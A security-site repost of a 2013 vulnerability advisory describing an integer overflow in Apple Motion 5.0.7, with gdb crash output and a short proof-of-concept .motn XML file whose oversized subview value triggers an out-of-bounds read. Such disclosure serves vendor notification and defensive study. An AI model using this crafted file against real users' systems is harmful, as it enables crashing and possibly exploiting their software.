首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Apple Motion 5.0.7 Integer Overflow
来源:pereira@secbiz.de 作者:Pereira 发布时间:2013-10-08  
Apple Motion Integer Overflow Vulnerability
===========================================

Vendor: Apple (http://www.apple.com)
Software: Motion 5.0.7
Testcase verified on: OS X 10.8

Credit: Jean Pascal Pereira <pereira@secbiz.de>

DESCRIPTION
===========

An integer overflow vulnerability has been identified in Apple Motion. The issue has been verified for Motion 5.0.7 (current release). Prior versions may also be affected. 

An attacker has the possibility to provide a crafted .motn file containing a viewer element with a subview attribute. If the subview attribute is set to a very low or high integer value, the application crashes due an access violation.

Debug message:

Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_INVALID_ADDRESS at address: 0x00000002dd6e0990
0x0000000100858eb7 in OZDocument::parseElement ()

The crash is triggered in the function OZDocument::parseElement() at the following instruction:

(gdb) x/i 0x0000000100858eb7 
0x100858eb7 <_ZN10OZDocument12parseElementER22PCSerializerReadStreamR15PCStreamElement+695>:	mov rsi, QWORD PTR [rbx+rax*8+0x98]

The value of rax is controlled by the attacker (in this case, the rax register contains the integer 989894991 which is provided in the PoC below). 

(gdb) p $rax
$16 = 989894991

(gdb) p/x $rbx+($rax*8)+0x98
$1 = 0x2dd6e0990

PROOF OF CONCEPT
================

Create a .motn file with the following content:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ozxmlscene>
<ozml version="5.5">
<viewer subview="989894991">
</viewer>
</ozml>

DISCLOSURE TIMELINE
===================
2013/09/18: Vendor notified
2013/10/07: Public disclosure

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Ice Cold Apps Servers Ultimate
·FlashChat Arbitrary File Uploa
·Evince PDF Reader 2.32.0.145 /
·ClipBucket Remote Code Executi
·FreeBSD Intel SYSRET Kernel Pr
·GestioIP Remote Command Execut
·SIEMENS Solid Edge ST4 SEListC
·HP LoadRunner magentproc.exe O
·Apache Tomcat/JBoss EJBInvoker
·glibc and eglibc 2.5, 2.7, 2.1
·HylaFAX+ 5.2.4 - 5.5.3 - Buffe
·KMPlayer 3.7.0.109 (.wav) - Cr
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved